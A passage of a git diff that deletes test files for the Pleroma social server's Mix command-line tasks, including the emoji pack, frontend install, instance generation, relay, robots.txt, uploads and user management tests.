- "description", - "--files", - files_json, - "--extensions", - ".png .gif" - ]) - end) - - assert captured =~ "#{pack_json} has been created with the pack1 pack" - assert captured =~ "Using .png .gif extensions" - - assert File.exists?(pack_json) - assert File.exists?(files_json) - - on_exit(fn -> - File.rm!(pack_json) - File.rm!(files_json) - end) - end - - test "with custom extensions and update existing files", %{url: url} do - name = "pack2" - pack_json = "#{name}.json" - files_json = "#{name}_file.json" - refute File.exists?(pack_json) - refute File.exists?(files_json) - - captured = - capture_io(fn -> - Emoji.run([ - "gen-pack", - url, - "--name", - name, - "--license", - "license", - "--homepage", - "homepage", - "--description", - "description", - "--files", - files_json, - "--extensions", - " .png .gif .jpeg " - ]) - end) - - assert captured =~ "#{pack_json} has been created with the pack2 pack" - assert captured =~ "Using .png .gif .jpeg extensions" - - assert File.exists?(pack_json) - assert File.exists?(files_json) - - captured = - capture_io(fn -> - Emoji.run([ - "gen-pack", - url, - "--name", - name, - "--license", - "license", - "--homepage", - "homepage", - "--description", - "description", - "--files", - files_json, - "--extensions", - " .png .gif .jpeg " - ]) - end) - - assert captured =~ "#{pack_json} has been updated with the pack2 pack" - - on_exit(fn -> - File.rm!(pack_json) - File.rm!(files_json) - end) - end - end -end diff --git a/test/tasks/frontend_test.exs b/test/tasks/frontend_test.exs deleted file mode 100644 index 022ae51be..000000000 --- a/test/tasks/frontend_test.exs +++ /dev/null @@ -1,85 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FrontendTest do - use Pleroma.DataCase - alias Mix.Tasks.Pleroma.Frontend - - import ExUnit.CaptureIO, only: [capture_io: 1] - - @dir "test/frontend_static_test" - - setup do - File.mkdir_p!(@dir) - clear_config([:instance, :static_dir], @dir) - - on_exit(fn -> - File.rm_rf(@dir) - end) - end - - test "it downloads and unzips a known frontend" do - clear_config([:frontends, :available], %{ - "pleroma" => %{ - "ref" => "fantasy", - "name" => "pleroma", - "build_url" => "http://gensokyo.2hu/builds/${ref}" - } - }) - - Tesla.Mock.mock(fn %{url: "http://gensokyo.2hu/builds/fantasy"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/frontend_dist.zip")} - end) - - capture_io(fn -> - Frontend.run(["install", "pleroma"]) - end) - - assert File.exists?(Path.join([@dir, "frontends", "pleroma", "fantasy", "test.txt"])) - end - - test "it also works given a file" do - clear_config([:frontends, :available], %{ - "pleroma" => %{ - "ref" => "fantasy", - "name" => "pleroma", - "build_dir" => "" - } - }) - - folder = Path.join([@dir, "frontends", "pleroma", "fantasy"]) - previously_existing = Path.join([folder, "temp"]) - File.mkdir_p!(folder) - File.write!(previously_existing, "yey") - assert File.exists?(previously_existing) - - capture_io(fn -> - Frontend.run(["install", "pleroma", "--file", "test/fixtures/tesla_mock/frontend.zip"]) - end) - - assert File.exists?(Path.join([folder, "test.txt"])) - refute File.exists?(previously_existing) - end - - test "it downloads and unzips unknown frontends" do - Tesla.Mock.mock(fn %{url: "http://gensokyo.2hu/madeup.zip"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/frontend.zip")} - end) - - capture_io(fn -> - Frontend.run([ - "install", - "unknown", - "--ref", - "baka", - "--build-url", - "http://gensokyo.2hu/madeup.zip", - "--build-dir", - "" - ]) - end) - - assert File.exists?(Path.join([@dir, "frontends", "unknown", "baka", "test.txt"])) - end -end diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs deleted file mode 100644 index 914ccb10a..000000000 --- a/test/tasks/instance_test.exs +++ /dev/null @@ -1,99 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.InstanceTest do - use ExUnit.Case - - setup do - File.mkdir_p!(tmp_path()) - - on_exit(fn -> - File.rm_rf(tmp_path()) - static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/") - - if File.exists?(static_dir) do - File.rm_rf(Path.join(static_dir, "robots.txt")) - end - - Pleroma.Config.put([:instance, :static_dir], static_dir) - end) - - :ok - end - - defp tmp_path do - "/tmp/generated_files/" - end - - test "running gen" do - mix_task = fn -> - Mix.Tasks.Pleroma.Instance.run([ - "gen", - "--output", - tmp_path() <> "generated_config.exs", - "--output-psql", - tmp_path() <> "setup.psql", - "--domain", - "test.pleroma.social", - "--instance-name", - "Pleroma", - "--admin-email", - "admin@example.com", - "--notify-email", - "notify@example.com", - "--dbhost", - "dbhost", - "--dbname", - "dbname", - "--dbuser", - "dbuser", - "--dbpass", - "dbpass", - "--indexable", - "y", - "--db-configurable", - "y", - "--rum", - "y", - "--listen-port", - "4000", - "--listen-ip", - "127.0.0.1", - "--uploads-dir", - "test/uploads", - "--static-dir", - "./test/../test/instance/static/", - "--strip-uploads", - "y", - "--dedupe-uploads", - "n", - "--anonymize-uploads", - "n" - ]) - end - - ExUnit.CaptureIO.capture_io(fn -> - mix_task.() - end) - - generated_config = File.read!(tmp_path() <> "generated_config.exs") - assert generated_config =~ "host: \"test.pleroma.social\"" - assert generated_config =~ "name: \"Pleroma\"" - assert generated_config =~ "email: \"admin@example.com\"" - assert generated_config =~ "notify_email: \"notify@example.com\"" - assert generated_config =~ "hostname: \"dbhost\"" - assert generated_config =~ "database: \"dbname\"" - assert generated_config =~ "username: \"dbuser\"" - assert generated_config =~ "password: \"dbpass\"" - assert generated_config =~ "configurable_from_database: true" - assert generated_config =~ "http: [ip: {127, 0, 0, 1}, port: 4000]" - assert generated_config =~ "filters: [Pleroma.Upload.Filter.ExifTool]" - assert File.read!(tmp_path() <> "setup.psql") == generated_setup_psql() - assert File.exists?(Path.expand("./test/instance/static/robots.txt")) - end - - defp generated_setup_psql do - ~s(CREATE USER dbuser WITH ENCRYPTED PASSWORD 'dbpass';\nCREATE DATABASE dbname OWNER dbuser;\n\\c dbname;\n--Extensions made by ecto.migrate that need superuser access\nCREATE EXTENSION IF NOT EXISTS citext;\nCREATE EXTENSION IF NOT EXISTS pg_trgm;\nCREATE EXTENSION IF NOT EXISTS \"uuid-ossp\";\nCREATE EXTENSION IF NOT EXISTS rum;\n) - end -end diff --git a/test/tasks/pleroma_test.exs b/test/tasks/pleroma_test.exs deleted file mode 100644 index c3e47b285..000000000 --- a/test/tasks/pleroma_test.exs +++ /dev/null @@ -1,50 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.PleromaTest do - use ExUnit.Case, async: true - import Mix.Pleroma - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - describe "shell_prompt/1" do - test "input" do - send(self(), {:mix_shell_input, :prompt, "Yes"}) - - answer = shell_prompt("Do you want this?") - assert_received {:mix_shell, :prompt, [message]} - assert message =~ "Do you want this?" - assert answer == "Yes" - end - - test "with defval" do - send(self(), {:mix_shell_input, :prompt, "\n"}) - - answer = shell_prompt("Do you want this?", "defval") - - assert_received {:mix_shell, :prompt, [message]} - assert message =~ "Do you want this? [defval]" - assert answer == "defval" - end - end - - describe "get_option/3" do - test "get from options" do - assert get_option([domain: "some-domain.com"], :domain, "Promt") == "some-domain.com" - end - - test "get from prompt" do - send(self(), {:mix_shell_input, :prompt, "another-domain.com"}) - assert get_option([], :domain, "Prompt") == "another-domain.com" - end - end -end diff --git a/test/tasks/refresh_counter_cache_test.exs b/test/tasks/refresh_counter_cache_test.exs deleted file mode 100644 index 6a1a9ac17..000000000 --- a/test/tasks/refresh_counter_cache_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.RefreshCounterCacheTest do - use Pleroma.DataCase - alias Pleroma.Web.CommonAPI - import ExUnit.CaptureIO, only: [capture_io: 1] - import Pleroma.Factory - - test "counts statuses" do - user = insert(:user) - other_user = insert(:user) - - CommonAPI.post(user, %{visibility: "public", status: "hey"}) - - Enum.each(0..1, fn _ -> - CommonAPI.post(user, %{ - visibility: "unlisted", - status: "hey" - }) - end) - - Enum.each(0..2, fn _ -> - CommonAPI.post(user, %{ - visibility: "direct", - status: "hey @#{other_user.nickname}" - }) - end) - - Enum.each(0..3, fn _ -> - CommonAPI.post(user, %{ - visibility: "private", - status: "hey" - }) - end) - - assert capture_io(fn -> Mix.Tasks.Pleroma.RefreshCounterCache.run([]) end) =~ "Done\n" - - assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} = - Pleroma.Stats.get_status_visibility_count() - end -end diff --git a/test/tasks/relay_test.exs b/test/tasks/relay_test.exs deleted file mode 100644 index cf48e7dda..000000000 --- a/test/tasks/relay_test.exs +++ /dev/null @@ -1,180 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.RelayTest do - alias Pleroma.Activity - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Relay - alias Pleroma.Web.ActivityPub.Utils - use Pleroma.DataCase - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - describe "running follow" do - test "relay is followed" do - target_instance = "http://mastodon.example.org/users/admin" - - Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) - - local_user = Relay.get_actor() - assert local_user.ap_id =~ "/relay" - - target_user = User.get_cached_by_ap_id(target_instance) - refute target_user.local - - activity = Utils.fetch_latest_follow(local_user, target_user) - assert activity.data["type"] == "Follow" - assert activity.data["actor"] == local_user.ap_id - assert activity.data["object"] == target_user.ap_id - - :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) - - assert_receive {:mix_shell, :info, - [ - "http://mastodon.example.org/users/admin - no Accept received (relay didn't follow back)" - ]} - end - end - - describe "running unfollow" do - test "relay is unfollowed" do - user = insert(:user) - target_instance = user.ap_id - - Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) - - %User{ap_id: follower_id} = local_user = Relay.get_actor() - target_user = User.get_cached_by_ap_id(target_instance) - follow_activity = Utils.fetch_latest_follow(local_user, target_user) - User.follow(local_user, target_user) - assert "#{target_instance}/followers" in User.following(local_user) - Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance]) - - cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) - assert cancelled_activity.data["state"] == "cancelled" - - [undo_activity] = - ActivityPub.fetch_activities([], %{ - type: "Undo", - actor_id: follower_id, - limit: 1, - skip_preload: true, - invisible_actors: true - }) - - assert undo_activity.data["type"] == "Undo" - assert undo_activity.data["actor"] == local_user.ap_id - assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] - refute "#{target_instance}/followers" in User.following(local_user) - end - - test "unfollow when relay is dead" do - user = insert(:user) - target_instance = user.ap_id - - Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) - - %User{ap_id: follower_id} = local_user = Relay.get_actor() - target_user = User.get_cached_by_ap_id(target_instance) - follow_activity = Utils.fetch_latest_follow(local_user, target_user) - User.follow(local_user, target_user) - - assert "#{target_instance}/followers" in User.following(local_user) - - Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> - %Tesla.Env{status: 404} - end) - - Pleroma.Repo.delete(user) - Cachex.clear(:user_cache) - - Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance]) - - cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) - assert cancelled_activity.data["state"] == "accept" - - assert [] == - ActivityPub.fetch_activities( - [], - %{ - type: "Undo", - actor_id: follower_id, - skip_preload: true, - invisible_actors: true - } - ) - end - - test "force unfollow when relay is dead" do - user = insert(:user) - target_instance = user.ap_id - - Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) - - %User{ap_id: follower_id} = local_user = Relay.get_actor() - target_user = User.get_cached_by_ap_id(target_instance) - follow_activity = Utils.fetch_latest_follow(local_user, target_user) - User.follow(local_user, target_user) - - assert "#{target_instance}/followers" in User.following(local_user) - - Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> - %Tesla.Env{status: 404} - end) - - Pleroma.Repo.delete(user) - Cachex.clear(:user_cache) - - Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance, "--force"]) - - cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) - assert cancelled_activity.data["state"] == "cancelled" - - [undo_activity] = - ActivityPub.fetch_activities( - [], - %{type: "Undo", actor_id: follower_id, skip_preload: true, invisible_actors: true} - ) - - assert undo_activity.data["type"] == "Undo" - assert undo_activity.data["actor"] == local_user.ap_id - assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] - refute "#{target_instance}/followers" in User.following(local_user) - end - end - - describe "mix pleroma.relay list" do - test "Prints relay subscription list" do - :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) - - refute_receive {:mix_shell, :info, _} - - relay_user = Relay.get_actor() - - ["http://mastodon.example.org/users/admin", "https://mstdn.io/users/mayuutann"] - |> Enum.each(fn ap_id -> - {:ok, user} = User.get_or_fetch_by_ap_id(ap_id) - User.follow(relay_user, user) - end) - - :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) - - assert_receive {:mix_shell, :info, ["https://mstdn.io/users/mayuutann"]} - assert_receive {:mix_shell, :info, ["http://mastodon.example.org/users/admin"]} - end - end -end diff --git a/test/tasks/robots_txt_test.exs b/test/tasks/robots_txt_test.exs deleted file mode 100644 index 7040a0e4e..000000000 --- a/test/tasks/robots_txt_test.exs +++ /dev/null @@ -1,45 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.RobotsTxtTest do - use ExUnit.Case - use Pleroma.Tests.Helpers - alias Mix.Tasks.Pleroma.RobotsTxt - - setup do: clear_config([:instance, :static_dir]) - - test "creates new dir" do - path = "test/fixtures/new_dir/" - file_path = path <> "robots.txt" - Pleroma.Config.put([:instance, :static_dir], path) - - on_exit(fn -> - {:ok, ["test/fixtures/new_dir/", "test/fixtures/new_dir/robots.txt"]} = File.rm_rf(path) - end) - - RobotsTxt.run(["disallow_all"]) - - assert File.exists?(file_path) - {:ok, file} = File.read(file_path) - - assert file == "User-Agent: *\nDisallow: /\n" - end - - test "to existance folder" do - path = "test/fixtures/" - file_path = path <> "robots.txt" - Pleroma.Config.put([:instance, :static_dir], path) - - on_exit(fn -> - :ok = File.rm(file_path) - end) - - RobotsTxt.run(["disallow_all"]) - - assert File.exists?(file_path) - {:ok, file} = File.read(file_path) - - assert file == "User-Agent: *\nDisallow: /\n" - end -end diff --git a/test/tasks/uploads_test.exs b/test/tasks/uploads_test.exs deleted file mode 100644 index d69e149a8..000000000 --- a/test/tasks/uploads_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.UploadsTest do - alias Pleroma.Upload - use Pleroma.DataCase - - import Mock - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - describe "running migrate_local" do - test "uploads migrated" do - with_mock Upload, - store: fn %Upload{name: _file, path: _path}, _opts -> {:ok, %{}} end do - Mix.Tasks.Pleroma.Uploads.run(["migrate_local", "S3"]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Migrating files from local" - - assert_received {:mix_shell, :info, [message]} - - assert %{"total_count" => total_count} = - Regex.named_captures(~r"^Found (?\d+) uploads$", message) - - assert_received {:mix_shell, :info, [message]} - - # @logevery in Mix.Tasks.Pleroma.Uploads - count = - min(50, String.to_integer(total_count)) - |> to_string() - - assert %{"count" => ^count, "total_count" => ^total_count} = - Regex.named_captures( - ~r"^Uploaded (?\d+)/(?\d+) files$", - message - ) - end - end - - test "nonexistent uploader" do - assert_raise RuntimeError, ~r/The uploader .* is not an existing/, fn -> - Mix.Tasks.Pleroma.Uploads.run(["migrate_local", "nonexistent"]) - end - end - end -end diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs deleted file mode 100644 index b8c423c48..000000000 --- a/test/tasks/user_test.exs +++ /dev/null @@ -1,614 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.UserTest do - alias Pleroma.Activity - alias Pleroma.MFA - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.OAuth.Authorization - alias Pleroma.Web.OAuth.Token - - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - import ExUnit.CaptureIO - import Mock - import Pleroma.Factory - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - describe "running new" do - test "user is created" do - # just get random data - unsaved = build(:user) - - # prepare to answer yes - send(self(), {:mix_shell_input, :yes?, true}) - - Mix.Tasks.Pleroma.User.run([ - "new", - unsaved.nickname, - unsaved.email, - "--name", - unsaved.name, - "--bio", - unsaved.bio, - "--password", - "test", - "--moderator", - "--admin" - ]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "user will be created" - - assert_received {:mix_shell, :yes?, [message]} - assert message =~ "Continue" - - assert_received {:mix_shell, :info, [message]} - assert message =~ "created" - - user = User.get_cached_by_nickname(unsaved.nickname) - assert user.name == unsaved.name - assert user.email == unsaved.email - assert user.bio == unsaved.bio - assert user.is_moderator - assert user.is_admin - end - - test "user is not created" do - unsaved = build(:user) - - # prepare to answer no - send(self(), {:mix_shell_input, :yes?, false}) - - Mix.Tasks.Pleroma.User.run(["new", unsaved.nickname, unsaved.email]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "user will be created" - - assert_received {:mix_shell, :yes?, [message]} - assert message =~ "Continue" - - assert_received {:mix_shell, :info, [message]} - assert message =~ "will not be created" - - refute User.get_cached_by_nickname(unsaved.nickname) - end - end - - describe "running rm" do - test "user is deleted" do - clear_config([:instance, :federating], true) - user = insert(:user) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - Mix.Tasks.Pleroma.User.run(["rm", user.nickname]) - ObanHelpers.perform_all() - - assert_received {:mix_shell, :info, [message]} - assert message =~ " deleted" - assert %{deactivated: true} = User.get_by_nickname(user.nickname) - - assert called(Pleroma.Web.Federator.publish(:_)) - end - end - - test "a remote user's create activity is deleted when the object has been pruned" do - user = insert(:user) - user2 = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "uguu"}) - {:ok, post2} = CommonAPI.post(user2, %{status: "test"}) - obj = Object.normalize(post2) - - {:ok, like_object, meta} = Pleroma.Web.ActivityPub.Builder.like(user, obj) - - {:ok, like_activity, _meta} = - Pleroma.Web.ActivityPub.Pipeline.common_pipeline( - like_object, - Keyword.put(meta, :local, true) - ) - - like_activity.data["object"] - |> Pleroma.Object.get_by_ap_id() - |> Repo.delete() - - clear_config([:instance, :federating], true) - - object = Object.normalize(post) - Object.prune(object) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - Mix.Tasks.Pleroma.User.run(["rm", user.nickname]) - ObanHelpers.perform_all() - - assert_received {:mix_shell, :info, [message]} - assert message =~ " deleted" - assert %{deactivated: true} = User.get_by_nickname(user.nickname) - - assert called(Pleroma.Web.Federator.publish(:_)) - refute Pleroma.Repo.get(Pleroma.Activity, like_activity.id) - end - - refute Activity.get_by_id(post.id) - end - - test "no user to delete" do - Mix.Tasks.Pleroma.User.run(["rm", "nonexistent"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "running toggle_activated" do - test "user is deactivated" do - user = insert(:user) - - Mix.Tasks.Pleroma.User.run(["toggle_activated", user.nickname]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ " deactivated" - - user = User.get_cached_by_nickname(user.nickname) - assert user.deactivated - end - - test "user is activated" do - user = insert(:user, deactivated: true) - - Mix.Tasks.Pleroma.User.run(["toggle_activated", user.nickname]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ " activated" - - user = User.get_cached_by_nickname(user.nickname) - refute user.deactivated - end - - test "no user to toggle" do - Mix.Tasks.Pleroma.User.run(["toggle_activated", "nonexistent"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No user" - end - end - - describe "running deactivate" do - test "user is unsubscribed" do - followed = insert(:user) - remote_followed = insert(:user, local: false) - user = insert(:user) - - User.follow(user, followed, :follow_accept) - User.follow(user, remote_followed, :follow_accept) - - Mix.Tasks.Pleroma.User.run(["deactivate", user.nickname]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Deactivating" - - # Note that the task has delay :timer.sleep(500) - assert_received {:mix_shell, :info, [message]} - assert message =~ "Successfully unsubscribed" - - user = User.get_cached_by_nickname(user.nickname) - assert Enum.empty?(Enum.filter(User.get_friends(user), & &1.local)) - assert user.deactivated - end - - test "no user to deactivate" do - Mix.Tasks.Pleroma.User.run(["deactivate", "nonexistent"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No user" - end - end - - describe "running set" do - test "All statuses set" do - user = insert(:user) - - Mix.Tasks.Pleroma.User.run([ - "set", - user.nickname, - "--admin", - "--confirmed", - "--locked", - "--moderator" - ]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Admin status .* true/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Confirmation pending .* false/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Locked status .* true/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Moderator status .* true/ - - user = User.get_cached_by_nickname(user.nickname) - assert user.is_moderator - assert user.locked - assert user.is_admin - refute user.confirmation_pending - end - - test "All statuses unset" do - user = - insert(:user, locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) - - Mix.Tasks.Pleroma.User.run([ - "set", - user.nickname, - "--no-admin", - "--no-confirmed", - "--no-locked", - "--no-moderator" - ]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Admin status .* false/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Confirmation pending .* true/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Locked status .* false/ - - assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Moderator status .* false/ - - user = User.get_cached_by_nickname(user.nickname) - refute user.is_moderator - refute user.locked - refute user.is_admin - assert user.confirmation_pending - end - - test "no user to set status" do - Mix.Tasks.Pleroma.User.run(["set", "nonexistent", "--moderator"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "running reset_password" do - test "password reset token is generated" do - user = insert(:user) - - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run(["reset_password", user.nickname]) - end) =~ "URL:" - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Generated" - end - - test "no user to reset password" do - Mix.Tasks.Pleroma.User.run(["reset_password", "nonexistent"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "running reset_mfa" do - test "disables MFA" do - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: "xx", confirmed: true} - } - ) - - Mix.Tasks.Pleroma.User.run(["reset_mfa", user.nickname]) - - assert_received {:mix_shell, :info, [message]} - assert message == "Multi-Factor Authentication disabled for #{user.nickname}" - - assert %{enabled: false, totp: false} == - user.nickname - |> User.get_cached_by_nickname() - |> MFA.mfa_settings() - end - - test "no user to reset MFA" do - Mix.Tasks.Pleroma.User.run(["reset_password", "nonexistent"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "running invite" do - test "invite token is generated" do - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run(["invite"]) - end) =~ "http" - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Generated user invite token one time" - end - - test "token is generated with expires_at" do - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run([ - "invite", - "--expires-at", - Date.to_string(Date.utc_today()) - ]) - end) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Generated user invite token date limited" - end - - test "token is generated with max use" do - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run([ - "invite", - "--max-use", - "5" - ]) - end) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Generated user invite token reusable" - end - - test "token is generated with max use and expires date" do - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run([ - "invite", - "--max-use", - "5", - "--expires-at", - Date.to_string(Date.utc_today()) - ]) - end) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Generated user invite token reusable date limited" - end - end - - describe "running invites" do - test "invites are listed" do - {:ok, invite} = Pleroma.UserInviteToken.create_invite() - - {:ok, invite2} = - Pleroma.UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 15}) - - # assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run([ - "invites" - ]) - - # end) - - assert_received {:mix_shell, :info, [message]} - assert_received {:mix_shell, :info, [message2]} - assert_received {:mix_shell, :info, [message3]} - assert message =~ "Invites list:" - assert message2 =~ invite.invite_type - assert message3 =~ invite2.invite_type - end - end - - describe "running revoke_invite" do - test "invite is revoked" do - {:ok, invite} = Pleroma.UserInviteToken.create_invite(%{expires_at: Date.utc_today()}) - - assert capture_io(fn -> - Mix.Tasks.Pleroma.User.run([ - "revoke_invite", - invite.token - ]) - end) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Invite for token #{invite.token} was revoked." - end - - test "it prints an error message when invite is not exist" do - Mix.Tasks.Pleroma.User.run(["revoke_invite", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No invite found" - end - end - - describe "running delete_activities" do - test "activities are deleted" do - %{nickname: nickname} = insert(:user) - - assert :ok == Mix.Tasks.Pleroma.User.run(["delete_activities", nickname]) - assert_received {:mix_shell, :info, [message]} - assert message == "User #{nickname} statuses deleted." - end - - test "it prints an error message when user is not exist" do - Mix.Tasks.Pleroma.User.run(["delete_activities", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "running toggle_confirmed" do - test "user is confirmed" do - %{id: id, nickname: nickname} = insert(:user, confirmation_pending: false) - - assert :ok = Mix.Tasks.Pleroma.User.run(["toggle_confirmed", nickname]) - assert_received {:mix_shell, :info, [message]} - assert message == "#{nickname} needs confirmation." - - user = Repo.get(User, id) - assert user.confirmation_pending - assert user.confirmation_token - end - - test "user is not confirmed" do - %{id: id, nickname: nickname} = - insert(:user, confirmation_pending: true, confirmation_token: "some token") - - assert :ok = Mix.Tasks.Pleroma.User.run(["toggle_confirmed", nickname]) - assert_received {:mix_shell, :info, [message]} - assert message == "#{nickname} doesn't need confirmation." - - user = Repo.get(User, id) - refute user.confirmation_pending - refute user.confirmation_token - end - - test "it prints an error message when user is not exist" do - Mix.Tasks.Pleroma.User.run(["toggle_confirmed", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "search" do - test "it returns users matching" do - user = insert(:user) - moon = insert(:user, nickname: "moon", name: "fediverse expert moon") - moot = insert(:user, nickname: "moot") - kawen = insert(:user, nickname: "kawen", name: "fediverse expert moon") - - {:ok, user} = User.follow(user, moon) - - assert [moon.id, kawen.id] == User.Search.search("moon") |> Enum.map(& &1.id) - - res = User.search("moo") |> Enum.map(& &1.id) - assert Enum.sort([moon.id, moot.id, kawen.id]) == Enum.sort(res) - - assert [kawen.id, moon.id] == User.Search.search("expert fediverse") |> Enum.map(& &1.id) - - assert [moon.id, kawen.id] == - User.Search.search("expert fediverse", for_user: user) |> Enum.map(& &1.id) - end - end - - describe "signing out" do - test "it deletes all user's tokens and authorizations" do - user = insert(:user) - insert(:oauth_token, user: user) - insert(:oauth_authorization, user: user) - - assert Repo.get_by(Token, user_id: user.id) - assert Repo.get_by(Authorization, user_id: user.id) - - :ok = Mix.Tasks.Pleroma.User.run(["sign_out", user.nickname]) - - refute Repo.get_by(Token, user_id: user.id) - refute Repo.get_by(Authorization, user_id: user.id) - end - - test "it prints an error message when user is not exist" do - Mix.Tasks.Pleroma.User.run(["sign_out", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "No local user" - end - end - - describe "tagging" do - test "it add tags to a user" do - user = insert(:user) - - :ok = Mix.Tasks.Pleroma.User.run(["tag", user.nickname, "pleroma"]) - - user = User.get_cached_by_nickname(user.nickname) - assert "pleroma" in user.tags - end - - test "it prints an error message when user is not exist" do - Mix.Tasks.Pleroma.User.run(["tag", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "Could not change user tags" - end - end - - describe "untagging" do - test "it deletes tags from a user" do - user = insert(:user, tags: ["pleroma"]) - assert "pleroma" in user.tags - - :ok = Mix.Tasks.Pleroma.User.run(["untag", user.nickname, "pleroma"]) - - user = User.get_cached_by_nickname(user.nickname) - assert Enum.empty?(user.tags) - end - - test "it prints an error message when user is not exist" do - Mix.Tasks.Pleroma.User.run(["untag", "foo"]) - - assert_received {:mix_shell, :error, [message]} - assert message =~ "Could not change user tags" - end - end - - describe "bulk confirm and unconfirm" do - test "confirm all" do - 